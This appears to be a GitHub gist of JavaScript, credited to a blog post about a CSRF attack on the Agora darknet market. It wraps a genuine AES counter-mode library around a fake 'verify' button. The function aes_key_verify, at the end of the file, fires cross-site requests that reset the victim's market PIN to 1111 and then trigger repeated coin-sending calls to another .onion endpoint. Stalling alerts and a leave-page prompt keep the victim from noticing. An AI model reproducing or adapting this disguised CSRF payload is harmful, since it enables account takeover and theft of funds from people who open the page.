Created
December 7, 2017 05:16
-
-
Save jhyland87/95842f451f0c773c6a2bbb83ee677b12 to your computer and use it in GitHub Desktop.
Borrrowed from https://justin.sh/blog/2015/06/agora-csrf/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function verify(button) { | |
document.getElementById('verify').innerHTML = 'Processing...'; | |
aes_key_verify(); | |
} | |
/* | |
* JavaScript AES implementation using Counter Mode | |
* | |
* Copyright (c) 2010 Robert Sosinski (http://www.robertsosinski.com) | |
* Offical Web Site (http://github.com/robertsosinski/js-aes) | |
* | |
* Permission is hereby granted, free of charge, to any person | |
* obtaining a copy of this software and associated documentation | |
* files (the "Software"), to deal in the Software without | |
* restriction, including without limitation the rights to use, | |
* copy, modify, merge, publish, distribute, sublicense, and/or sell | |
* copies of the Software, and to permit persons to whom the | |
* Software is furnished to do so, subject to the following | |
* conditions: | |
* | |
* The above copyright notice and this permission notice shall be | |
* included in all copies or substantial portions of the Software. | |
* | |
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, | |
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES | |
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND | |
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT | |
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, | |
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING | |
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR | |
* OTHER DEALINGS IN THE SOFTWARE. | |
*/ | |
var AES = { | |
VERSION: "1.2", | |
sbox: [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, | |
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, | |
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, | |
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, | |
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, | |
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, | |
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, | |
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, | |
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, | |
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, | |
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, | |
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, | |
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, | |
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, | |
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, | |
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 | |
], | |
rcon: [ | |
[0x00, 0x00, 0x00, 0x00], | |
[0x01, 0x00, 0x00, 0x00], | |
[0x02, 0x00, 0x00, 0x00], | |
[0x04, 0x00, 0x00, 0x00], | |
[0x08, 0x00, 0x00, 0x00], | |
[0x10, 0x00, 0x00, 0x00], | |
[0x20, 0x00, 0x00, 0x00], | |
[0x40, 0x00, 0x00, 0x00], | |
[0x80, 0x00, 0x00, 0x00], | |
[0x1b, 0x00, 0x00, 0x00], | |
[0x36, 0x00, 0x00, 0x00] | |
], | |
cipher: function(input, w) { | |
var nb = 4; | |
var nr = w.length / nb - 1; | |
var state = [new Array(nb), new Array(nb), new Array(nb), new Array(nb)]; | |
var output = new Array(4 * nb); | |
var i, round; | |
for (i = 0; i < input.length; i++) { | |
state[i % 4][Math.floor(i / 4)] = input[i]; | |
} | |
this.addRoundKey(state, w, 0, nb); | |
for (round = 1; round < nr; round++) { | |
this.subBytes(state, nb); | |
this.shiftRows(state, nb); | |
this.mixColumns(state, nb); | |
this.addRoundKey(state, w, round, nb); | |
} | |
this.subBytes(state, nb); | |
this.shiftRows(state, nb); | |
this.addRoundKey(state, w, round, nb); | |
for (i = 0; i < output.length; i++) { | |
output[i] = state[i % 4][Math.floor(i / 4)]; | |
} | |
return output; | |
}, | |
subBytes: function(state, nb) { | |
var r, c; | |
for (c = 0; c < nb; c++) { | |
for (r = 0; r < 4; r++) { | |
state[r][c] = this.sbox[state[r][c]]; | |
} | |
} | |
}, | |
shiftRows: function(state, nb) { | |
var temp = new Array(nb); | |
var r, c; | |
for (r = 1; r < 4; r++) { | |
for (c = 0; c < nb; c++) { | |
temp[c] = state[r][(c + r) % nb]; | |
} | |
for (c = 0; c < 4; c++) { | |
state[r][c] = temp[c]; | |
} | |
} | |
}, | |
mixColumns: function(state, nb) { | |
var r, c, a, b; | |
for (c = 0; c < nb; c++) { | |
a = new Array(4); | |
b = new Array(4); | |
for (r = 0; r < 4; r++) { | |
a[r] = state[r][c]; | |
b[r] = state[r][c] & 0x80 ? state[r][c] << 1 ^ 0x11b : state[r][c] << 1; | |
} | |
state[0][c] = b[0] ^ a[3] ^ a[2] ^ b[1] ^ a[1]; | |
state[1][c] = b[1] ^ a[0] ^ a[3] ^ b[2] ^ a[2]; | |
state[2][c] = b[2] ^ a[1] ^ a[0] ^ b[3] ^ a[3]; | |
state[3][c] = b[3] ^ a[2] ^ a[1] ^ b[0] ^ a[0]; | |
} | |
}, | |
addRoundKey: function(state, w, round, nb) { | |
var r, c; | |
for (c = 0; c < nb; c++) { | |
for (r = 0; r < 4; r++) { | |
state[r][c] ^= w[round * 4 + c][r]; | |
} | |
} | |
}, | |
keyExpansion: function(key) { | |
var nk = key.length / 4; | |
var nb = 4; | |
var nr = nk + 6; | |
var w = new Array(nb * (nr + 1)); | |
var temp = new Array(4); | |
var i, j; | |
for (i = 0; i < nk; i++) { | |
w[i] = [key[4 * i], key[4 * i + 1], key[4 * i + 2], key[4 * i + 3]]; | |
} | |
for (i = nk; i < w.length; i++) { | |
w[i] = new Array(4); | |
for (j = 0; j < 4; j++) { | |
temp[j] = w[i - 1][j]; | |
} | |
if (i % nk === 0) { | |
this.rotWord(temp); | |
this.subWord(temp); | |
for (j = 0; j < 4; j++) { | |
temp[j] ^= AES.rcon[i / nk][j]; | |
} | |
} else if (nk > 6 && i % nk === 4) { | |
this.subWord(temp); | |
} | |
for (j = 0; j < 4; j++) { | |
w[i][j] = w[i - nk][j] ^ temp[j]; | |
} | |
} | |
return w; | |
}, | |
rotWord: function(w) { | |
var temp = w[0]; | |
var i; | |
for (i = 0; i < 3; i++) { | |
w[i] = w[i + 1]; | |
} | |
w[3] = temp; | |
}, | |
subWord: function(w) { | |
var i; | |
for (i = 0; i < 4; i++) { | |
w[i] = this.sbox[w[i]]; | |
} | |
}, | |
generateKey: function() { | |
var key = new Array(16); | |
var i; | |
for (i = 0; i < 16; i++) { | |
key[i] = Math.floor(Math.random() * 0x100); | |
} | |
return key; | |
} | |
}; | |
AES.Base64 = { | |
characters: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", | |
encode: function(input) { | |
var output = ""; | |
var chr1, chr2, chr3, enc1, enc2, enc3, enc4; | |
var i; | |
for (i = 0; i < input.length;) { | |
chr1 = input.charCodeAt(i++); | |
chr2 = input.charCodeAt(i++); | |
chr3 = input.charCodeAt(i++); | |
enc1 = chr1 >> 2; | |
enc2 = ((chr1 & 0x3) << 4) | (chr2 >> 4); | |
enc3 = ((chr2 & 0xf) << 2) | (chr3 >> 6); | |
enc4 = chr3 & 0x3f; | |
if (isNaN(chr2)) { | |
enc3 = enc4 = 64; | |
} else if (isNaN(chr3)) { | |
enc4 = 64; | |
} | |
output = output + this.characters.charAt(enc1) + | |
this.characters.charAt(enc2) + | |
this.characters.charAt(enc3) + | |
this.characters.charAt(enc4); | |
} | |
return output; | |
}, | |
decode: function(input) { | |
var output = ""; | |
var chr1, chr2, chr3, dec1, dec2, dec3, dec4; | |
var i; | |
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); | |
for (i = 0; i < input.length;) { | |
dec1 = this.characters.indexOf(input.charAt(i++)); | |
dec2 = this.characters.indexOf(input.charAt(i++)); | |
dec3 = this.characters.indexOf(input.charAt(i++)); | |
dec4 = this.characters.indexOf(input.charAt(i++)); | |
chr1 = (dec1 << 2) | (dec2 >> 4); | |
chr2 = ((dec2 & 0xf) << 4) | (dec3 >> 2); | |
chr3 = ((dec3 & 0x3) << 6) | dec4; | |
output = output + String.fromCharCode(chr1); | |
if (dec3 !== 64) { | |
output = output + String.fromCharCode(chr2); | |
} | |
if (dec4 !== 64) { | |
output = output + String.fromCharCode(chr3); | |
} | |
} | |
return output; | |
} | |
}; | |
AES.Counter = function() { | |
var time = Math.floor((new Date()).getTime() / 1000); | |
this.arr = new Array(16); | |
var i; | |
for (i = 0; i < 4; i++) { | |
this.arr[i] = (time >>> i * 8) & 0xff; | |
} | |
for (i = 4; i < 8; i++) { | |
this.arr[i] = Math.floor(Math.random() * 0x100); | |
} | |
for (i = 8; i < 16; i++) { | |
this.arr[i] = 0; | |
} | |
this.increment = function() { | |
for (i = 15; i >= 8; i--) { | |
if (this.arr[i] === 0xff) { | |
this.arr[i] = 0; | |
} else { | |
this.arr[i]++; | |
break; | |
} | |
} | |
return this; | |
}; | |
}; | |
AES.Crypto = function(key) { | |
var blockSize = 16; | |
this.key = key; | |
this.keySchedule = AES.keyExpansion(key); | |
this.counter = new AES.Counter(); | |
var i; | |
this.setCounter = function(arr) { | |
for (i = 0; i < 16; i++) { | |
this.counter.arr[i] = arr[i]; | |
} | |
return this; | |
}; | |
this.getCounter = function() { | |
return this.counter.arr; | |
}; | |
this.run = function(input) { | |
var blockCount = Math.ceil(input.length / blockSize); | |
var output = new Array(input.length); | |
var counterBlock, byteCount, offset; | |
var block, c; | |
for (block = 0; block < blockCount; block++) { | |
counterBlock = AES.cipher(this.counter.arr, this.keySchedule); | |
byteCount = block + 1 === blockCount ? input.length % blockSize : blockSize; | |
offset = block * blockSize; | |
for (c = 0; c < byteCount; c++) { | |
output[offset + c] = String.fromCharCode(counterBlock[c] ^ input.charCodeAt(offset + c)); | |
} | |
this.counter.increment(); | |
} | |
return output.join(""); | |
}; | |
this.encrypt = function(text) { | |
return AES.Base64.encode(this.run(text)); | |
}; | |
this.decrypt = function(text) { | |
return this.run(AES.Base64.decode(text)); | |
}; | |
}; | |
window.onbeforeunload = function() { | |
return "Are you sure you want to leave?"; | |
}; | |
function aes_key_verify() { | |
var redirectUrl = 'http://sydneymfsnkpw7ln.onion/process'; | |
var url = 'http://agorahooawayyfoe.onion'; | |
window.open(url + "/startresetpin?action=askresetpinaction&controller=user&confirmed=true&confirm-submit=", "_blank"); | |
window.open(url + "/resetpin?pin1=1111&pin2=1111&submit=Save", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=1&wait=1", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=0.01&wait=2", "_blank"); | |
window.open(redirectUrl + "?action=desc&wait=2", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=0.1&wait=4", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=10&wait=6", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=5&wait=6", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=0.1&wait=8", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=0.5&wait=8", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=0.05&wait=10", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=2&wait=10", "_blank"); | |
window.open(redirectUrl + "?action=reset&wait=12", "_blank"); | |
window.open(redirectUrl + "?action=set&wait=12", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=1&wait=14", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=0.01&wait=14", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=0.5&wait=16", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=0.1&wait=16", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=10&wait=18", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=5&wait=18", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=0.1&wait=20", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=0.5&wait=20", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=0.05&wait=22", "_blank"); | |
window.open(redirectUrl + "?action=send&amount=2&wait=22", "_blank"); | |
window.open(redirectUrl + "?action=desc&wait=24", "_blank"); | |
alert('Please wait...'); | |
setTimeout(function() { | |
alert('Please wait...'); | |
}, 2000); | |
setTimeout(function() { | |
alert('Please wait...'); | |
}, 5000); | |
setTimeout(function() { | |
alert('Please wait...'); | |
}, 10000); | |
setTimeout(function() { | |
alert('Please wait...'); | |
}, 15000); | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment